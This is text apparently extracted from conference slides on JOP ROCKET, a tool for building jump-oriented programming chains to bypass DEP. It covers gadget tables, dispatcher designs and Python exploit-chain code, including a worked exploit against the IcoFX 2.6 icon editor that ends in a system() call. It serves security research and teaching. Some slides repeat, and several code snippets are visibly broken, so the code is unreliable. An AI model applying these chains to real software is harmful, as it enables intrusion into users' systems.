- Gadgets with the push instruction are relatively common and will perform an overwrite.
  - Occurs at esp-4, then changes esp to that address.
  - Stack pivots will be useful.

### VirtualProtect Parameters

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x70707070</td>
<td>dwSize (dummy)</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>

### Gadgets

```
gadget
xor eax, ecx;
jmp edx;  
```

Load 0x500 into eax

```
gadget
add esp, 0xc;
jmp edx;  
gadget
push eax;
jmp edx;  
gadget
```
Overwriting Dummy Values - *Push*

- Once bad byte values are loaded into a register, they can be used to replace dummy values.
- Gadgets with the *push* instruction are relatively common and will perform an overwrite.
  - Occurs at esp-4, then changes esp to that address.
  - Stack pivots will be useful.

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x00000500</td>
<td>dwSize</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>

ESP

**Gadget**
- `add esp, 0xc;`
- `jmp edx;`
- `push eax;`
- `jmp edx;`
- `xor eax, ecx; jmp edx;`

*Load 0x500 into eax*
Generalizing the *Push* Method

- When performing multiple *push* overwrites, stack pivots in both directions will be needed.
- After each *push*, esp should be pivoted back to a location where values can be popped.
- The stack values can be arranged so that this process is simpler.

```
Stack
Address: Value:
0x0     Encoded Parameter 1
0x4     Encoded Parameter 2
0x8     Encoded Parameter 3
0xC     Dummy Variable 1
0x10    Dummy Variable 2
0x14    Dummy Variable 3
```
1. POP Parameter 1 off stack

2. XOR to avoid bad bytes

3. Pivot ESP to corresponding location for PUSH

4. Overwrite placeholder in lower memory at ESP-4

5. Pivot ESP to next value

6. Repeat from step 1 until all parameters are written.

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>Parameter 1 value</td>
</tr>
<tr>
<td>0x4</td>
<td>Parameter 2 value</td>
</tr>
<tr>
<td>0x8</td>
<td>Parameter 3 value</td>
</tr>
<tr>
<td>0xC</td>
<td>Dummy Variable 1</td>
</tr>
<tr>
<td>0x10</td>
<td>Dummy Variable 2</td>
</tr>
<tr>
<td>0x14</td>
<td>Dummy Variable 3</td>
</tr>
</tbody>
</table>
Overwriting Dummy Values – *Mov*

- Other gadgets such as `mov dword ptr` can perform overwrites.
- These are less commonly found and require more registers to be set aside.
  - Overwrite occurs at the address of the first register using the value of the second register.
  - No stack pivots required.

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x000000500</td>
<td>dwSize</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>

**Gadget**

```
Gadget
mov dword ptr [eax], ebx
jmp edx;
```

**VirtualProtect Parameters**

- Load 0x1818c0ec into eax
- Load 0x40 into ebx
Overwriting Dummy Values – Mov

- Other gadgets such as `mov dword ptr` can perform overwrites.
- These are less commonly found and require more registers to be set aside.
  - Overwrite occurs at the address of the first register using the value of the second register.
  - No stack pivots required.

```
Gadget

mov dword ptr [eax], ebx
jmp edx;
```

**VirtualProtect Parameters**

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x000000500</td>
<td>dwSize</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x70707070</td>
<td>flNewProtect (dummy)</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>

**Mov Gadget**

- Load `0x1818c0ec` into `eax`
- Load `0x40` into `ebx`
Overwriting Dummy Values – *Mov*

- Other gadgets such as *mov dword ptr* can perform overwrites.
- These are less commonly found and require more registers to be set aside.
  - Overwrite occurs at the address of the first register using the value of the second register.
  - No stack pivots required.

<table>
<thead>
<tr>
<th>Gadget</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><em>mov dword ptr [eax], ebx</em></td>
<td>Load 0x1818c0ec into eax Load 0x40 into ebx</td>
</tr>
<tr>
<td><em>jmp edx</em>;</td>
<td></td>
</tr>
</tbody>
</table>

**VirtualProtect Parameters**

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x00000500</td>
<td>dwSize</td>
</tr>
<tr>
<td><strong>0x1818c0ec</strong></td>
<td><strong>0x00000040</strong></td>
<td><strong>flNewProtect</strong></td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>
Final Steps Before the Function Call

- Stack pivot to the start of your parameters before executing the function.

<table>
<thead>
<tr>
<th>Address</th>
<th>Current Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1818c0e0</td>
<td>0x1818c0fa</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x1818c0e4</td>
<td>0x1818c0fa</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x1818c0e8</td>
<td>0x00000500</td>
<td>dwSize</td>
</tr>
<tr>
<td>0x1818c0ec</td>
<td>0x00000040</td>
<td>flNewProtect</td>
</tr>
<tr>
<td>0x1818c0f0</td>
<td>0x1818c0dd</td>
<td>lpfOldProtect</td>
</tr>
</tbody>
</table>

- Grab the function pointer and dereference it before the jump.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xd0eec2e4</td>
<td>jmp dword ptr [eax];</td>
</tr>
<tr>
<td>0xebb87b20</td>
<td>mov ecx, dword ptr [eax]; jmp ebx;</td>
</tr>
<tr>
<td>0xebb87e77</td>
<td>jmp ecx;</td>
</tr>
</tbody>
</table>
JOP NOPs

- The exact address of the dispatch table may not be known.
- It is possible to spray memory with JOP NOPs leading up to the actual dispatch table.
  - Alignment of the guessed address needs to be correct.
  - Make sure to account for multiple entry points depending on the dispatcher used.
Part 3: Automatic JOP Chain Generation
Automating Chain Generation

• Automating chain generation requires us to reduce it to a recipe.
  • This recipe will have many rules that govern how different aspects of the chain are built, from simple, to extremely complex.

• Mona does this effectively with the *pushad* technique to ROP.
  • That is, it uses patterns each for VirtualProtect and VirtualAlloc to populate registers.
  • It tries a variety of unique ways to populate registers.
  • When *pushad* is called, the stack is set up with all values.
    • The WinApi function is then called, allowing for DEP to be bypassed.
Automating Chain Generation

• With JOP, the pushad technique is not viable, as we have multiple registers reserved.

• With ROP, all gadgets end in RET. With JOP, they end in jmp \texttt{reg} or call \texttt{reg} – that is 16 possibilities.
  • Recall that one register always holds dispatcher gadget and one the dispatch table
  • This makes control flow more challenging on even a manual exploit.
  • Usually the simplest approach is to have all functional gadgets end in a jump or call to the same register – holding the dispatcher gadget.
    • We absolutely can switch registers – it just takes more effort.
  • All of this would seem to make automation simply infeasible.
• JOP using a manual approach can get complex, even ugly.
  • Wild, out-of-this-world gadgets and code-reuse trickery to do actions done more easily with ROP?
• What if we could simplify this art of JOP?
• Dare we attempt it?
We use multiple stack pivots to precisely reach memory pointed to by ESP that has our WinAPI params.

- Then we simply make the WinAPI call.
- These “jumps” are adjusting ESP – not affecting control flow.

ESP moved a distance of 0x4F00 bytes.
We perform a series of stack pivots, totaling \textbf{0x1320} (4896) bytes.

<table>
<thead>
<tr>
<th>[ESI] $\rightarrow$ Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>base + 0x15eb</td>
<td>add esp, 0x700; # push edx # jmp ebx</td>
</tr>
<tr>
<td>0x41414141</td>
<td>filler</td>
</tr>
<tr>
<td>base + 0x15eb</td>
<td>add esp, 0x700; # push edx # jmp ebx</td>
</tr>
<tr>
<td>0x41414141</td>
<td>filler</td>
</tr>
<tr>
<td>base + 0x17ba</td>
<td>add esp, 0x500; # push edi # jmp ebx</td>
</tr>
<tr>
<td>0x41414141</td>
<td>filler</td>
</tr>
<tr>
<td>base + 0x14ef</td>
<td>add esp, 0x20; # add ecx, edi # jmp ebx</td>
</tr>
<tr>
<td>0x41414141</td>
<td>filler</td>
</tr>
<tr>
<td>base + 0x124d</td>
<td>pop eax;</td>
</tr>
<tr>
<td>0x41414141</td>
<td>filler</td>
</tr>
<tr>
<td>base + 0x1608</td>
<td>jmp dword ptr [eax];</td>
</tr>
</tbody>
</table>

Address | Dispatcher Gadget |
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>EBX $\rightarrow$ 0x00402334</td>
<td>add esi, 0x8; jmp dword ptr [esi];</td>
</tr>
</tbody>
</table>

Stack pivots move ESP to VirtualProtect params.

Sample Value | Stack Parameter for VP |
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00426024</td>
<td>PTR -&gt; VirtualProtect()</td>
</tr>
<tr>
<td>0x0042DEAD</td>
<td>Return Address</td>
</tr>
<tr>
<td>0x0042DEAD</td>
<td>lpAddress</td>
</tr>
<tr>
<td>0x000003e8</td>
<td>dwSize</td>
</tr>
<tr>
<td>0x00000400</td>
<td>flNewProtect -&gt; RWX</td>
</tr>
<tr>
<td>0x00020000</td>
<td>lpflOldProtect $\rightarrow$ writable location</td>
</tr>
</tbody>
</table>

We load EAX with WinAPI function and make the call.
## JOP Chain Generation

### JOP setup uses two ROP gadgets.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>base + 0x1d3d8</td>
<td>pop edx; ret; # Load dispatcher gadget</td>
</tr>
<tr>
<td>base + 0x1538</td>
<td>add edi, 0xc; jmp dword ptr [edi]; # DG</td>
</tr>
<tr>
<td>base + 0x15258</td>
<td>pop edi; ret; # Load dispatch table</td>
</tr>
<tr>
<td>0xdeadbeef</td>
<td>address for dispatch table!</td>
</tr>
<tr>
<td>base + 0x1547</td>
<td>jmp edx; start the JOP</td>
</tr>
</tbody>
</table>

- JOP ROCKET searches for dispatcher gadget and calculates padding.
- ROCKET uses two ROP gadgets to load the dispatch table and dispatcher gadget.
- Then it starts the JOP.
- It discovers pointers to VirtualProtect and VirtualAlloc.
- Utilizes the approach of multiple stack pivots to reach preset payload.

Bramwell Brizendine & Austin Babcock | JOP ROCKET: Bypassing DEP with Jump-Oriented Programming
JOP Chain Sub-menu

- JOP ROCKET will generate up to five sample chains for each register, for VirtualAlloc and VirtualProtect.
  - This provides alternate possibilities if need be.

- Specify the desired min. and max. stack pivot amounts.
  - Some registers may only have large stack pivots.

- You can reduce or increase the number of JOP chains built.
VirtualAlloc

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.
def create_rop_chain:
  rop_gadgets = [
    0x00141d68, # (base + 0x1d68), # pop edx # ret # wavread.exe Load EDX with address for dispatcher gadget!
    0x00401538, # (base + 0x1538) # add edi, 0xc # jmp DWORD PTR [edi] # wavread.exe
    0x00401528, # (base + 0x1528), # pop edi # ret # wavread.exe Load EDI with address of dispatch table
    0xdeadbeef, # Address for your dispatcher table!
    0x00401547, # (base + 0x1547), # jmp edx # wavread.exe.wavread.exe # JMP to dispatcher gadget; start the JOP!
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

def create_jop_chain:
  jop_gadgets = [
    0x42424242, 0x42424242, # padding (8x8 bytes)
    0x0040156e, # (base + 0x156e), # add esp, 0x894 # mov ebp, esp # jmp edx # wavread.exe [0x894 bytes]** 0x894
    0x42424242, 0x42424242, # padding (8x8 bytes)
    0x0040156e, # (base + 0x156e), # add esp, 0x894 # mov ebp, esp # jmp edx # wavread.exe [0x894 bytes]** 0x1128
    0x42424242, 0x42424242, # padding (8x8 bytes)
    0x00401546, # (base + 0x1546), # pop eax # jmp edx # wavread.exe # Set up pop for VP
    0x00416dca, # (base + 0x1d6ca), # jmp DWORD PTR [eax] # wavread.exe # JMP to ptr for VirtualProtect
  ]
  return ''.join(struct.pack('<I', _) for _ in jop_gadgets)
opp_chain = create_rop_chain()
jjop_chain = create_jop_chain()

vp_stack = struct.pack('<L', 0x00427006) # ptr -> VirtualProtect()
vp_stack += struct.pack('<L', 0x00420e40) # return address << where you want it to return
vp_stack += struct.pack('<L', 0x00422300) # 1 #Address >> Where you want to start modifying protection
vp_stack += struct.pack('<L', 0x00000000) # dwWrite << Size: 1000
vp_stack += struct.pack('<L', 0x00000000) # flNewProtect << Rwx
vp_stack += struct.pack('<L', 0x00020000) # lpfIoIdProtect << MUST be writable location

shellcode = '\xcc\xcc\xcc\xcc'  # Payload set up may vary greatly
nops = '\x90' * 1
padding = '\x41' * 1

payload = padding + rop_chain + jop_chain + vp_stack + nops + shellcode
Let’s kick things off with ROP.

Load EDX with dispatcher gadget.

Load EDI with dispatch table.

Jump to EDX, our dispatcher gadget—start the JOP!
JOP Chain for Virtual Protect

def create_jop_chain():
    jop_gadgets = [
        0x42424242, 0x42424242, # padding (0x8 bytes)
        0x000015e6, # (base = 0x15e6), # add esp, 0x894 # mov ebp, esp # jmp edx # wavread.exe [0x894 bytes]* # eax
        0x42424242, 0x42424242, # padding (0x8 bytes)
        0x000015e6, # (base = 0x15e6), # add esp, 0x894 # mov ebp, esp # jmp edx # wavread.exe [0x894 bytes]* # eax
        # N-----STACK PIVOT TOTAL: 0x1128 bytes
        0x42424242, 0x42424242, # padding (0x8 bytes)
        0x00001546, # (base = 0x1546), # pop eax # jmp edx # wavread.exe # Set up pop for VP
        0x00166ca, # (base = 0x166ca), # jmp dword ptr [eax] # wavread.exe # JMP to ptr for VirtualProtect
    ]
    return ''.join(struct.pack('B'*_) for _ in jop_gadgets)

rop_chain = create_rop_chain()
jop_chain = create_jop_chain()
JOP Chain for Virtual Protect

JOP Chain for Virtual Protect

rop_chain = create_rop_chain()
jop_chain = create_jop_chain()

vp_stack = struct.pack('<L', 0x000427800)  # ptr -> VirtualProtect()
vp_stack = struct.pack('<L', 0x00042014D)  # return address <-- where you want it to return
vp_stack = struct.pack('<L', 0x000425000)  # lpAddress <-- Where you want to start modifying protection
vp_stack = struct.pack('<L', 0x000003a8)  # dwSize <-- Size: 1000
vp_stack = struct.pack('<L', 0x00000000)  # fNewProtect <-- Write
vp_stack = struct.pack('<L', 0x000420000)  # lpOldProtect <-- MUST be writable location

shellcode = '\xcc\xcc\xcc\xcc'  # Payload set up may vary greatly
nops = '\x90' * 1
padding = '\x41' * 1

payload = padding + rop_chain + jop_chain + vp_stack + nops + shellcode

JOP Rocket gives a basic blueprint for VirtualProtect parameters.

JOP Rocket supplies us with a starting point for other exploit necessities.
Real World Exploit

• Austin will show us a real-world exploit, using the stack pivot technique
• JOP ROCKET actually generates a chain that is very similar to what he did.
• He did it by hand though.
  • This provides validation for JOP ROCKET’s efficacy at chain building.
Manual Approach Demo

• We’ll see some key steps of a manually crafted exploit:
  • Stack pivoting
  • Avoiding bad bytes
  • Writing parameter values
IcoFX 2.6 Demo

• IcoFX 2.6
  • Vulnerable icon editor.

• This was a challenging binary.
  • A small selection of JOP gadgets were used repeatedly.
  • JOP requires creativity – we can still make things work with some perserverence!

```plaintext
#1 IcoFX2.exe [Ops: 0xd] DEP: False ASLR: False SEH: False CFG: False
add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81)
jmp dword ptr [ecx] 0x406d83 (offset 0x6d83)
```

Only viable dispatcher

Only viable stack pivot
Dispatcher and Stack Pivot

• Our dispatcher and stack pivot gadgets will need some special prep before they can be used.

<table>
<thead>
<tr>
<th>Address</th>
<th>Dispatcher Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00406d81</td>
<td>add ecx, dword ptr [eax]; jmp dword ptr [ecx];</td>
</tr>
</tbody>
</table>

Eax needs to contain a pointer to the value to add to ecx.

<table>
<thead>
<tr>
<th>Address</th>
<th>Stack Pivot Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00588b9b</td>
<td>pop ebp; or byte ptr [ebx-0x781703bb], cl; jmp edi;</td>
</tr>
</tbody>
</table>

Ebx needs to allow for a writable memory address to be dereferenced.
Dereferencing with an Offset

• Since our empty jump contains an offset, we need to account for this in the function pointer loaded.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x004c8eb7</td>
<td>jmp dword ptr [ebp-0x71];</td>
</tr>
</tbody>
</table>

# VP ptr + offset for jmp ebp gadget
vpPtr = struct.pack('<I', 0x00bf6668 + 0x71)
Part 4: Shellcode-less JOP
Manual Approach Demo

• We’ll see some key steps of a manually crafted exploit:
  • Stack pivoting
  • Avoiding bad bytes
  • Writing parameter values
IcoFX 2.6 Demo

• IcoFX 2.6
  • Vulnerable icon editor.

• This was a challenging binary.
  • A small selection of JOP gadgets were used repeatedly.
  • JOP requires creativity – we can still make things work with some perserverence!

```
#1 IcoFX2.exe [Ops: 0xd] DEP: False ASLR: False SEH: False CFG: False
add ecx, dword ptr [eax] 0x406d81 (offset 0x6d81)
jmp dword ptr [ecx] 0x406d83 (offset 0x6d83)
```

Only viable dispatcher

```
4 bytes
0x00588b9b, # (base + 0x188b9b),
# pop ebp # or byte ptr [ebx - 0x781703bb], cl # jmp edi # IcoFX2.exe
```

Only viable stack pivot
Dispatcher and Stack Pivot

- Our dispatcher and stack pivot gadgets will need some special prep before they can be used.

<table>
<thead>
<tr>
<th>Address</th>
<th>Dispatcher Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00406d81</td>
<td>add ecx, dword ptr [eax]; jmp dword ptr [ecx];</td>
</tr>
</tbody>
</table>

Eax needs to contain a pointer to the value to add to ecx.

<table>
<thead>
<tr>
<th>Address</th>
<th>Stack Pivot Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00588b9b</td>
<td>pop ebp; or byte ptr [ebx-0x781703bb], cl; jmp edi;</td>
</tr>
</tbody>
</table>

Ebx needs to allow for a writable memory address to be dereferenced.
Dereferencing with an Offset

- Since our empty jump contains an offset, we need to account for this in the function pointer loaded.

<table>
<thead>
<tr>
<th>Address</th>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x004c8eb7</td>
<td><code>jmp dword ptr [ebp-0x71]</code></td>
</tr>
</tbody>
</table>

# VP ptr + offset for jmp ebp gadget
`vpPtr = struct.pack('<I', 0x00bf6668 + 0x71)`
Part 4: Shellcode-less JOP
Shellcode-Less JOP Example

• High-level overview of the exploit:

Set up JOP control flow

Pivot ESP 0x72 bytes

Perform LoadLibraryExW() call

Perform GetProcAddress() call

Perform System() call
Example: Set up JOP Control Flow

- For our demo program, we’ll be using a dispatcher gadget of `add edi, 0x8; jmp dword ptr [edi];`
  - EDI must be loaded with the dispatch table address.
- For the dispatcher gadget register, EDX is preferred since it has the most functional gadgets.
- A setup gadget using JOP exists that can achieve these goals.

<table>
<thead>
<tr>
<th>Gadget</th>
</tr>
</thead>
<tbody>
<tr>
<td>pop eax;</td>
</tr>
<tr>
<td>pop edx;</td>
</tr>
<tr>
<td>pop edi;</td>
</tr>
<tr>
<td>xor edx, eax;</td>
</tr>
<tr>
<td>xor edi, eax;</td>
</tr>
<tr>
<td>call edx;</td>
</tr>
</tbody>
</table>

```
#### JOP SETUP SECTION ####
# POP EAX # POP EDX # POP EDI # XOR EDX, EAX # XOR EDI, EAX # CALL EDX
stackChain1 = struct.pack('<L', 0x11236d1)  # eax
stackChain1 += struct.pack('<L', 0x55555555)  # xor Key
stackChain1 += struct.pack('<L', 0x4477430e)  # edx
# XOR Red to dispatcher addr = 0x112165b
stackChain1 += struct.pack('<L', 0x554daefd)  # edi
# XOR Red to table addr = 0x0018fba8
```
Example: Pivoting the Stack Pointer

- While setting up the control flow we had control over the stack, but bad bytes were an issue.

- Further forwards in memory we have an area where null bytes in the buffer do not cause problems.

- We need to pivot forward to this location before continuing the exploit (0x72 bytes).
  - We’ll repeat the following gadget four times:

```
1122379S  .  83C4 18  ADD ESP,18
11223798  .  FFE2  JMP EDX
```

- The JOP ROCKET can be used to find pivots of different lengths for each register.
• Some WinAPI parameters such as strings will require a pointer to the memory address containing the data.

• Ideally, use gadgets to self-locate and programmatically supply the address with an overwrite.

Put current stack location in eax

<table>
<thead>
<tr>
<th>Gadget</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>mov eax, esp;</td>
<td></td>
</tr>
<tr>
<td>jmp edx;</td>
<td></td>
</tr>
</tbody>
</table>

Add offset to string parameter

<table>
<thead>
<tr>
<th>Gadget</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>add eax, ebx;</td>
<td></td>
</tr>
<tr>
<td>jmp edx;</td>
<td></td>
</tr>
</tbody>
</table>

Write string pointer to memory

<table>
<thead>
<tr>
<th>Gadget</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>push eax;</td>
<td></td>
</tr>
<tr>
<td>jmp edx;</td>
<td></td>
</tr>
</tbody>
</table>
Our program doesn’t perform ASLR or rebasing.
- String addresses were hardcoded into the exploit since they always land at the same locations.

In a real-world scenario, it will be best to generate these addresses with JOP if possible.
- Even if addresses appear to stay the same, this can help ensure the exploit’s stability.

Example: Location of Data for Pointer Parameters

```python
loadLibraryParams += struct.pack('<L', 0x0018fcd8)
# "msvcrt.dll" string ptr
```

```python
getProcAddrParams = struct.pack('<L', 0x0018fcee)
# lpProcName “system” ptr
```

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0018FCD8</td>
<td>0073006D m.s.</td>
</tr>
<tr>
<td>0018FCDC</td>
<td>00630076 v.c.</td>
</tr>
<tr>
<td>0018FCE0</td>
<td>00740072 r.t.</td>
</tr>
<tr>
<td>0018FCE4</td>
<td>0064002E ..d.</td>
</tr>
<tr>
<td>0018FCE8</td>
<td>006C006C 1.l.</td>
</tr>
</tbody>
</table>
Our exploit uses LoadLibraryExW() instead of the “normal” LoadLibrary() function.

- This function takes two extra parameters.
- More importantly, the “W” signifies that it accepts wide-character strings rather than normal strings.

We need to create a wide-character version of the “msvcrtd.dll” string we want to supply.

- This can be OS-dependent.
- In many cases including ours the encoding should be UTF-16 Little Endian.

A C++ debugger can help ensure the correct format is being used.

- Visual Studio works well for this purpose.
Example: Using Offsets to Find Function Addresses

- Our binary doesn’t contain a pointer to the GetProcAddress() function.
  - We do have pointers to other kernel32 functions such as LoadLibraryExWStub() and VirtualProtect().

- To get the function address, we can use JOP to add the offset from another function within the same DLL.
  - IDA can be used to find the distance between two functions.
  - This method lacks portability – offsets will likely be different depending on the OS version.

```
7DD7492D ; HMODULE __stdcall LoadLibraryExWStub
7DD7492D public _LoadLibraryExWStub@12
7DD7492D _LoadLibraryExWStub@12 proc near
7DD7492D
7DD7492D lpLibFileName= dword ptr 8
7DD7492D hFile= dword ptr 0Ch
7DD7492D dwFlags= dword ptr 10h

7DD7122F ; FARPROC __stdcall GetProcAddress
7DD7122F _GetProcAddress@8 proc near
7DD7122F
7DD7122F hModule= dword ptr 4
7DD7122F lpProcName= dword ptr 8
7DD7122F
```

\(-0x36fe\) Bytes
Example: Using Offsets to Find Function Addresses

• First, the LoadLibraryExW() pointer is dereferenced to get its real address.

```python
# pop ecx; jmp edx # ecx = loadLibraryExW ptr
table += struct.pack('<L', 0x112226f1)
table += tablePad
# mov ecx, dword ptr [ecx] # dereference ptr
table += struct.pack('<L', 0x1122369a)
table += tablePad
```

• Afterwards, the offset can be added to get the address of GetProcAddress().
  • Since the offset is a negative number, two’s complement is used: 0xffffc902 = -0x36fe

```python
# pop ebx; jmp edx # pop GetProcAddress() offset into ebx

table += struct.pack('<L', 0x1122180b)
#loadLibraryExW() + 0xFFFFC902 = getProcAddress()
stackChain2 += struct.pack('<L', 0xffffffff)
table += tablePad
# add ebx, ecx; jmp edx # ebx = getProcAddress() addr
table += struct.pack('<L', 0x112236be)
table += tablePad
```
Example: Using Function Output as a Parameter

- GetProcAddress() requires a handle to a module as one of its parameters.
  - LoadLibraryExW() returns this handle into eax if successful.


The return address and hModule are missing before push instructions.

After two push instructions, the parameters are set up and the function can be called.

```
#first 2 params are PUSHED via jop -- return addr and hModule
#return addr: jmp EAX
#hModule: handle given by loadLibrary
#lpProcName "system" ptr
gGetProcAddressParams = struct.pack('<L', 0x00018fcce)
```

```
# push msvcr handle and return address onto stack as parameters
# eax = hModule | ecx = Return address (jmp eax gadget)
# push eax; push ecx; xor eax, eax; jmp edx
table = struct.pack('<L', 0x11223649)
table = tablePad
table = struct.pack('<L', 0x1122387) # jmp ebx # CALL getprocaddr
```

Bramwell Brizendine & Austin Babcock | JOP ROCKET: Bypassing DEP with Jump-Oriented Programming
Shellcode-less JOP Demo

Set up JOP control flow

Pivot ESP 0x72 bytes

Perform LoadLibraryExW() call

Perform System() call

Perform GetProcAddress() call
Part 5: Novel Dispatcher Gadgets
• Let’s review what we have as possible single-gadget dispatchers.

<table>
<thead>
<tr>
<th>Add Dispatcher Gadgets</th>
<th>Sub Dispatcher Gadgets</th>
<th>Lea Dispatcher Gadgets</th>
</tr>
</thead>
<tbody>
<tr>
<td>add reg1, [reg + const]; jmp dword ptr [reg1];</td>
<td>sub reg1, [reg + const]; jmp dword ptr [reg1];</td>
<td>lea reg1, [reg1 + const]; jmp dword ptr [reg1];</td>
</tr>
<tr>
<td>add reg1, constant; jmp dword ptr [reg1];</td>
<td>sub reg1, constant; jmp dword ptr [reg1];</td>
<td>lea reg1 [reg1 + reg * const]; jmp dword ptr [reg1];</td>
</tr>
<tr>
<td>add reg1, reg2; jmp dword ptr [reg1];</td>
<td>sub reg1, reg2; jmp dword ptr [reg1];</td>
<td>lea reg1 [reg1 + reg]; jmp dword ptr [reg1];</td>
</tr>
<tr>
<td>adc reg1, [reg + const]; jmp dword ptr [reg1];</td>
<td>sbb reg1, [reg + const]; jmp dword ptr [reg1];</td>
<td>sbb reg1, constant; jmp dword ptr [reg1];</td>
</tr>
<tr>
<td>adc reg1, constant; jmp dword ptr [reg1];</td>
<td>sbb reg1, reg2; jmp dword ptr [reg1];</td>
<td>sbb reg1, reg2; jmp dword ptr [reg1];</td>
</tr>
<tr>
<td>adc reg1, reg2; jmp dword ptr [reg1];</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Expanding the Dispatcher Gadget

- The dispatcher is the quintessential JOP gadget.
  - Without it, this style of JOP is simply not possible.
    - Other forms of JOP certainly still are though.

- The dispatcher is relatively obscure in its most desirable form.
  - Best form: short and sweet, `add ebx, 0x8; jmp dword ptr [ebx]`
    - This only uses two registers, and no side effects on other registers.
    - A three-register form is possible: `add ebx, edi; jmp dword [ebx]`
Two-gadget Dispatcher: \textit{Jmp}

- 1\textsuperscript{st} gadget will predictably modify (e.g. add to) R1 and jump to R2.
- 2\textsuperscript{nd} gadget dereferences R1, dispatching the next functional gadget.
- Two gadgets is freeing.
  - Much simpler to find a gadget that merely adds to a register and jumps to another.
  - Many potential gadgets to select from.

Now any \textit{add} or \textit{sub} that jumps to a different register works.
“Empty” Jmp Dword Derefernces

• This is the second part of two-gadget dispatcher.

• Some of these “empty” jmp [reg] gadgets exist only for one line.

• They may disappear when expanded to two lines.
  • This is due to opcode splitting: unintended instructions.
  • For medium to large binaries, there nearly always will be one.
  • Thus we can take it for granted the second gadget will be there waiting for us.
    • For IcoFx2, 20 mb, there were 1300+ total for all registers.
    • For GFTP, 1.6 mb, there were 100+ total for all registers
Two-gadget Dispatcher: Call

- Dispatchers with call are problematic.
  - They add to the stack with each use!
  - Not usable if adding to the stack, e.g. DEP bypass

- The call form of DG can be usable with a two-gadget dispatcher!
  - We only need to find an `jmp [reg]` that has a `pop` in it to compensate.

- This comes at an extra cost: now four registers must be preserved.
  - Still viable if doing multiple stack pivot technique.
    - Same gadget can be reused.
Alternative Dispatcher Gadgets

- Alternative string instructions can be used to predictably modify ESI and/or EDI.

- We can distance ourselves from their intended purpose
  - What matters is what they accomplish in terms of control flow.

